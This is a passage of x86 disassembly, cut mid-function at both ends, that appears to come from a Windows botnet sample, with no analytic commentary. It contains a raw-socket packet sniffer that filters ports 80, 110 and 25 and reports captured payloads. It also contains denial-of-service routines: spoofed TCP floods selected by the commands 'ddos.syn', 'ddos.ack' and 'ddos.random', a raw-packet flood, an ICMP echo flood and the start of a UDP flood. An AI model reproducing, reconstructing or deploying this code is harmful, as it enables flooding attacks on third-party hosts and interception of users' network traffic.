pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_413308: ; CODE XREF: sub_4131EC+B6j
push ebx
lea eax, [ebp+var_24]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push 98000001h
push edi
mov [ebp+var_C], esi
call dword_4CB980 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_41338E
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B8]
push offset unk_437840
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_41336A
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409869
add esp, 14h
loc_41336A: ; CODE XREF: sub_4131EC+15Cj
lea eax, [ebp+var_2B8]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA6C ; closesocket
push [ebp+var_34]
call sub_40B6D6
pop ecx
push ebx
call dword_4270D4 ; ExitThread
loc_41338E: ; CODE XREF: sub_4131EC+13Cj
mov esi, 200h
loc_413393: ; CODE XREF: sub_4131EC+1D6j
; sub_4131EC+1FBj ...
mov edi, 0FFFFh
lea eax, [ebp+var_113B8]
push edi
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_113B8]
push ebx
push edi
push eax
push [ebp+var_10]
call dword_4CB9EC ; recv
cmp [ebp+var_113AF], 6
jnz short loc_413393
push [ebp+var_113A4]
mov edi, dword_4271CC
call edi ; htons
push [ebp+var_113A4+2]
movzx eax, ax
mov [ebp+arg_0], eax
call edi ; htons
cmp [ebp+arg_0], 6Eh
movzx edi, ax
jz short loc_413393
cmp [ebp+arg_0], 19h
jz short loc_413393
cmp edi, 6Eh
jz short loc_413393
cmp edi, 19h
jz short loc_413393
push [ebp+var_113AC]
call sub_412EDD
pop ecx
push dword ptr [eax]
call dword_4271D0 ; inet_ntoa
push eax
lea eax, [ebp+var_13B8]
push offset aS_2 ; "%s"
push eax
call sub_41C266
push [ebp+var_113A8]
call sub_412EDD
add esp, 10h
push dword ptr [eax]
call dword_4271D0 ; inet_ntoa
push eax
lea eax, [ebp+var_BB8]
push offset aS_2 ; "%s"
push eax
call sub_41C266
lea eax, [ebp+var_1138C]
mov [ebp+var_4], ebx
push eax
call sub_41B9C0
add esp, 10h
test eax, eax
jle short loc_413491
loc_41345D: ; CODE XREF: sub_4131EC+2A3j
mov eax, [ebp+var_4]
cmp [ebp+eax+var_1138C], 0Dh
lea eax, [ebp+eax+var_1138C]
jnz short loc_413474
mov byte ptr [eax], 20h
loc_413474: ; CODE XREF: sub_4131EC+283j
cmp byte ptr [eax], 0Ah
jnz short loc_41347C
mov byte ptr [eax], 20h
loc_41347C: ; CODE XREF: sub_4131EC+28Bj
inc [ebp+var_4]
lea eax, [ebp+var_1138C]
push eax
call sub_41B9C0
cmp [ebp+var_4], eax
pop ecx
jl short loc_41345D
loc_413491: ; CODE XREF: sub_4131EC+26Fj
cmp [ebp+arg_0], 50h
jz loc_413544
cmp edi, 50h
jz loc_413544
lea eax, [ebp+var_1138C]
push eax
call sub_412EEC
test al, al
pop ecx
jz short loc_4134D8
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_43780C
jmp loc_413573
; ---------------------------------------------------------------------------
loc_4134D8: ; CODE XREF: sub_4131EC+2C7j
cmp edi, 50h
jz short loc_413544
lea eax, [ebp+var_1138C]
push eax
call sub_413003
test al, al
pop ecx
jz short loc_41350E
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_4377D8
jmp short loc_413573
; ---------------------------------------------------------------------------
loc_41350E: ; CODE XREF: sub_4131EC+300j
cmp edi, 50h
jz short loc_413544
lea eax, [ebp+var_1138C]
push eax
call sub_413079
test al, al
pop ecx
jz short loc_413544
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_4377A4
jmp short loc_413573
; ---------------------------------------------------------------------------
loc_413544: ; CODE XREF: sub_4131EC+2A9j
; sub_4131EC+2B2j ...
lea eax, [ebp+var_1138C]
push eax
call sub_413100
test al, al
pop ecx
lea eax, [ebp+var_1138C]
push eax
jz short loc_4135B1
lea eax, [ebp+var_BB8]
push edi
push eax
lea eax, [ebp+var_13B8]
push [ebp+arg_0]
push eax
push offset unk_43776C
loc_413573: ; CODE XREF: sub_4131EC+2E7j
; sub_4131EC+320j ...
lea eax, [ebp+var_2B8]
push esi
push eax
call sub_41C360
add esp, 20h
cmp [ebp+var_2C], ebx
jnz loc_413393
push ebx
lea eax, [ebp+var_2B8]
push [ebp+var_30]
push eax
lea eax, [ebp+var_B4]
push eax
push [ebp+var_B8]
call sub_409869
add esp, 14h
jmp loc_413393
; ---------------------------------------------------------------------------
loc_4135B1: ; CODE XREF: sub_4131EC+36Ej
call sub_413187
test al, al
pop ecx
jz loc_413393
lea eax, [ebp+var_1138C]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_437734
jmp short loc_413573
sub_4131EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4135DF proc near ; DATA XREF: sub_401ACD+6464o
var_494 = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_8C = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0A5h
mov esi, eax
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_20C]
push eax
lea eax, [ebp+var_28C]
push eax
call sub_4139CB
add esp, 14h
push eax
lea eax, [ebp+var_494]
push offset unk_43789C
push eax
call sub_41C266
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_413672
push esi
lea eax, [ebp+var_494]
push [ebp+var_C]
push eax
lea eax, [ebp+var_10C]
push eax
push [ebp+var_294]
call sub_409869
add esp, 14h
loc_413672: ; CODE XREF: sub_4135DF+71j
lea eax, [ebp+var_494]
push eax
call sub_415D38
push [ebp+var_290]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
pop edi
pop esi
sub_4135DF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413694 proc near ; CODE XREF: sub_4139CB+40p
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CB944 ; WSAStartup
test eax, eax
jz short loc_4136D4
xor eax, eax
jmp loc_4139C7
; ---------------------------------------------------------------------------
loc_4136D4: ; CODE XREF: sub_413694+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CBA78 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_4139BF
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_4CB9B4 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_4139B5
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_4CB9D4 ; htons
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_4CB9D4 ; htons
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_4CB9D4 ; htons
mov [ebp+var_12], ax
call sub_41C2C2
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4CB9D4 ; htons
push 12345678h
mov [ebp+var_14], ax
call dword_4CB9D0 ; htonl
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4137A4
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_4137F8
; ---------------------------------------------------------------------------
loc_4137A4: ; CODE XREF: sub_413694+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4137C0
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_4137F8
; ---------------------------------------------------------------------------
loc_4137C0: ; CODE XREF: sub_413694+121j
push offset aDdos_random ; "ddos.random"
push [ebp+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4137F8
call sub_41C2C2
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_41C2C2
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_4137F8: ; CODE XREF: sub_413694+10Ej
; sub_413694+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_4CB9D4 ; htons
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
call dword_42713C ; QueryPerformanceFrequency
lea eax, [ebp+var_1C]
push eax
call dword_427138 ; QueryPerformanceCounter
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_41DB20
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_413846: ; CODE XREF: sub_413694+2E2j
; sub_413694+2F0j
mov [ebp+var_4], bx
call sub_41C2C2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CB9D4 ; htons
mov [ebp+var_14], ax
call sub_41C2C2
mov edi, eax
shl edi, 10h
call sub_41C2C2
or edi, eax
push edi
call dword_4CB9D4 ; htons
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CB9D0 ; htonl
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CB9D4 ; htons
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41CD20
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AA5F
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41CD20
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41BF70
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AA5F
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41CD20
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_4CBA38 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_413989
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
call dword_427138 ; QueryPerformanceCounter
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_4139B2
jl loc_413846
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_4139B2
jmp loc_413846
; ---------------------------------------------------------------------------
loc_413989: ; CODE XREF: sub_413694+2CBj
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_F4]
push offset dword_4378C4
push eax
call sub_41C266
lea eax, [ebp+var_F4]
push eax
call sub_415D38
add esp, 10h
jmp short loc_4139B5
; ---------------------------------------------------------------------------
loc_4139B2: ; CODE XREF: sub_413694+2E0j
; sub_413694+2EEj
mov ebx, [ebp+arg_8]
loc_4139B5: ; CODE XREF: sub_413694+78j
; sub_413694+31Cj
push [ebp+var_20]
call dword_4CBA6C ; closesocket
pop esi
loc_4139BF: ; CODE XREF: sub_413694+5Bj
call dword_4CB92C ; WSACleanup
mov eax, ebx
loc_4139C7: ; CODE XREF: sub_413694+3Bj
pop edi
pop ebx
leave
retn
sub_413694 endp
; =============== S U B R O U T I N E =======================================
sub_4139CB proc near ; CODE XREF: sub_4135DF+4Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40A8F0
push [esp+10h+arg_4]
mov esi, eax
call sub_41C159
push [esp+14h+arg_C]
mov ebx, eax
call sub_41C159
mov edi, eax
call sub_41C2C2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push [esp+20h+arg_8]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_413694
add esp, 20h
test eax, eax
jnz short loc_413A1A
push 1
pop eax
loc_413A1A: ; CODE XREF: sub_4139CB+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4139CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413A29 proc near ; DATA XREF: sub_401ACD+6643o
var_3BC = byte ptr -3BCh
var_1BC = dword ptr -1BCh
var_1B8 = byte ptr -1B8h
var_138 = byte ptr -138h
var_B8 = byte ptr -0B8h
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3BCh
push ebx
push esi
mov eax, [ebp+arg_0]
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_1BC]
push 1
pop ebx
push 0FFh
push 3
rep movsd
push 2
mov [eax+19Ch], ebx
call dword_4CBA54 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_413AC4
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_3BC]
push offset unk_4379C4
push eax
call sub_41C266
xor edi, edi
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_413AA7
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409869
add esp, 14h
loc_413AA7: ; CODE XREF: sub_413A29+5Cj
lea eax, [ebp+var_3BC]
push eax
call sub_415D38
push [ebp+var_38]
call sub_40B6D6
pop ecx
pop ecx
push edi
call dword_4270D4 ; ExitThread
loc_413AC4: ; CODE XREF: sub_413A29+3Aj
lea ecx, [ebp+var_C]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_C], ebx
call dword_4CB9B4 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_413B3B
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_3BC]
push offset unk_437994
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_413B1E
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409869
add esp, 14h
loc_413B1E: ; CODE XREF: sub_413A29+D3j
lea eax, [ebp+var_3BC]
push eax
call sub_415D38
push [ebp+var_38]
call sub_40B6D6
pop ecx
pop ecx
push edi
call dword_4270D4 ; ExitThread
loc_413B3B: ; CODE XREF: sub_413A29+B3j
lea eax, [ebp+var_1B8]
push eax
call dword_4CBA14 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_413BA2
lea eax, [ebp+var_3BC]
push offset unk_437974
push eax
call sub_41C266
cmp [ebp+var_24], edi
pop ecx
pop ecx
jnz short loc_413B85
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409869
add esp, 14h
loc_413B85: ; CODE XREF: sub_413A29+13Aj
lea eax, [ebp+var_3BC]
push eax
call sub_415D38
push [ebp+var_38]
call sub_40B6D6
pop ecx
pop ecx
push edi
call dword_4270D4 ; ExitThread
loc_413BA2: ; CODE XREF: sub_413A29+122j
push 10h
lea eax, [ebp+var_1C]
push edi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_1C], 2
push edi
call dword_4CB9D4 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_1B8]
push eax
call dword_4CBA14 ; inet_addr
mov esi, dword_4270B0
mov [ebp+var_18], eax
mov [ebp+arg_0], edi
call esi ; GetTickCount
mov [ebp+var_8], eax
loc_413BE0: ; CODE XREF: sub_413A29+2E8j
call esi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_30]
ja loc_413D8B
push 41Ch
mov byte_4CE740, 45h
call dword_4CB9D4 ; htons
cmp [ebp+var_2C], edi
mov word_4CE742, ax
mov word_4CE744, bx
mov word_4CE746, di
mov byte_4CE748, 80h
mov byte_4CE749, bl
mov word_4CE74A, di
jz short loc_413C66
call sub_41C2C2
mov ebx, eax
shl ebx, 8
call sub_41C2C2
add ebx, eax
shl ebx, 8
call sub_41C2C2
add ebx, eax
shl ebx, 8
call sub_41C2C2
add ebx, eax
push 1
mov dword_4CE74C, ebx
pop ebx
jmp short loc_413C7E
; ---------------------------------------------------------------------------
loc_413C66: ; CODE XREF: sub_413A29+20Bj
push [ebp+var_1BC]
call sub_40AA06
pop ecx
push eax
call dword_4CBA14 ; inet_addr
mov dword_4CE74C, eax
loc_413C7E: ; CODE XREF: sub_413A29+23Bj
mov eax, [ebp+var_18]
mov dword_4CE750, eax
call sub_41C2C2
cdq
mov ecx, 100h
idiv ecx
mov byte_4CE754, dl
call sub_41C2C2
cdq
mov ecx, 100h
idiv ecx
mov byte_4CE755, dl
call sub_41C2C2
cdq
mov ecx, 0F0h
push 400h
idiv ecx
mov word_4CE756, di
mov word_4CE75A, bx
inc edx
mov word_4CE758, dx
call sub_41C2C2
cdq
mov ecx, 0FFh
idiv ecx
push edx
push offset dword_4CE75C
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1C]
push 10h
push eax
push edi
push 41Ch
push offset byte_4CE740
push [ebp+var_4]
call dword_4CBA38 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_413D16
inc [ebp+arg_0]
jmp loc_413BE0
; ---------------------------------------------------------------------------
loc_413D16: ; CODE XREF: sub_413A29+2E3j
push [ebp+var_4]
call dword_4CBA6C ; closesocket
call dword_4CB968 ; WSAGetLastError
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
push offset unk_43792C
lea eax, [ebp+var_3BC]
push 200h
push eax
call sub_41C360
add esp, 18h
cmp [ebp+var_24], edi
jnz short loc_413D6E
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409869
add esp, 14h
loc_413D6E: ; CODE XREF: sub_413A29+323j
lea eax, [ebp+var_3BC]
push eax
call sub_415D38
push [ebp+var_38]
call sub_40B6D6
pop ecx
pop ecx
push edi
call dword_4270D4 ; ExitThread
loc_413D8B: ; CODE XREF: sub_413A29+1C8j
push [ebp+var_4]
call dword_4CBA6C ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_30]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_138]
push eax
lea eax, [ebp+var_3BC]
push offset unk_4378E0
push eax
call sub_41C266
add esp, 1Ch
cmp [ebp+var_24], edi
jnz short loc_413DF3
push edi
lea eax, [ebp+var_3BC]
push [ebp+var_28]
push eax
lea eax, [ebp+var_B8]
push eax
push [ebp+var_1BC]
call sub_409869
add esp, 14h
loc_413DF3: ; CODE XREF: sub_413A29+3A8j
lea eax, [ebp+var_3BC]
push eax
call sub_415D38
push [ebp+var_38]
call sub_40B6D6
pop ecx
pop ecx
push edi
call dword_4270D4 ; ExitThread
sub_413A29 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413E10 proc near ; DATA XREF: sub_401ACD+542Do
var_10320 = byte ptr -10320h
var_344 = byte ptr -344h
var_144 = dword ptr -144h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10320h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
push 1
pop edi
mov [eax+120h], edi
call dword_4CB95C ; IcmpCreateFile
mov [ebp+arg_0], eax
lea eax, [ebp+var_C0]
push eax
call dword_4CBA14 ; inet_addr
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_413E6B
lea eax, [ebp+var_C0]
push eax
call dword_4CBA58 ; gethostbyname
cmp eax, ebx
jz short loc_413E71
loc_413E6B: ; CODE XREF: sub_413E10+48j
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_413ECE
loc_413E71: ; CODE XREF: sub_413E10+59j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_437A1C
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_413EB1
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_409869
add esp, 14h
loc_413EB1: ; CODE XREF: sub_413E10+7Fj
lea eax, [ebp+var_344]
push eax
call sub_415D38
push [ebp+var_30]
call sub_40B6D6
pop ecx
pop ecx
push edi
call dword_4270D4 ; ExitThread
loc_413ECE: ; CODE XREF: sub_413E10+5Fj
cmp eax, ebx
jz short loc_413EDE
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_4], eax
jmp short loc_413EE1
; ---------------------------------------------------------------------------
loc_413EDE: ; CODE XREF: sub_413E10+C0j
mov [ebp+var_4], esi
loc_413EE1: ; CODE XREF: sub_413E10+CCj
push 1Ch
lea eax, [ebp+var_20]
push ebx
push eax
call sub_41BF70
or [ebp+var_18], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp+var_3C], eax
jle short loc_413F01
mov [ebp+var_3C], eax
loc_413F01: ; CODE XREF: sub_413E10+ECj
cmp [ebp+var_38], edi
jge short loc_413F09
mov [ebp+var_38], edi
loc_413F09: ; CODE XREF: sub_413E10+F4j
xor esi, esi
cmp [ebp+var_40], ebx
jle short loc_413F36
loc_413F10: ; CODE XREF: sub_413E10+124j
push [ebp+var_38]
lea eax, [ebp+var_20]
push 1Ch
push eax
push ebx
lea eax, [ebp+var_10320]
push [ebp+var_3C]
push eax
push [ebp+var_4]
push [ebp+arg_0]
call dword_4CB8EC ; IcmpSendEcho
inc esi
cmp esi, [ebp+var_40]
jl short loc_413F10
loc_413F36: ; CODE XREF: sub_413E10+FEj
push [ebp+arg_0]
call dword_4CBA8C ; IcmpCloseHandle
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset unk_4379F0
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_413F7F
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_409869
add esp, 14h
loc_413F7F: ; CODE XREF: sub_413E10+14Dj
lea eax, [ebp+var_344]
push eax
call sub_415D38
push [ebp+var_30]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call dword_4270D4 ; ExitThread
sub_413E10 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413F9C proc near ; DATA XREF: sub_401ACD+5679o
var_10312 = byte ptr -10312h
var_10310 = byte ptr -10310h
var_334 = byte ptr -334h
var_134 = dword ptr -134h
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10310h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
push 1
pop esi
mov [eax+120h], esi
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
push 11h
push 2
push 2
call dword_4CBA54 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_B0]
mov [ebp+var_10], 2
push eax
call dword_4CBA14 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_414081
lea eax, [ebp+var_B0]
push eax
call dword_4CBA58 ; gethostbyname
cmp eax, edi
jnz short loc_41407A
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset unk_437A70
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_41405D
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_409869
add esp, 14h
loc_41405D: ; CODE XREF: sub_413F9C+9Fj
lea eax, [ebp+var_334]
push eax
call sub_415D38
push [ebp+var_20]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
loc_41407A: ; CODE XREF: sub_413F9C+7Fj
mov eax, [eax+0Ch]
mov eax, [eax]
jmp short loc_414084
; ---------------------------------------------------------------------------
loc_414081: ; CODE XREF: sub_413F9C+6Ej
lea eax, [ebp+arg_0]
loc_414084: ; CODE XREF: sub_413F9C+E3j
mov eax, [eax]
cmp [ebp+var_24], edi
mov [ebp+var_C], eax
jnz short loc_41409F
call sub_41C2C2
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_4140A2
; ---------------------------------------------------------------------------
loc_41409F: ; CODE XREF: sub_413F9C+F0j
push [ebp+var_24]
loc_4140A2: ; CODE XREF: sub_413F9C+101j
call dword_4CB9D4 ; htons
cmp [ebp+var_24], esi
mov [ebp+var_E], ax
jge short loc_4140B4
mov [ebp+var_24], esi
loc_4140B4: ; CODE XREF: sub_413F9C+113j
mov eax, 0FFFFh
cmp [ebp+var_24], eax
jle short loc_4140C1
mov [ebp+var_24], eax
loc_4140C1: ; CODE XREF: sub_413F9C+120j
mov eax, [ebp+var_30]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp+var_28], edi
mov [ebp+var_30], eax
jnz short loc_4140D5
mov [ebp+var_28], esi
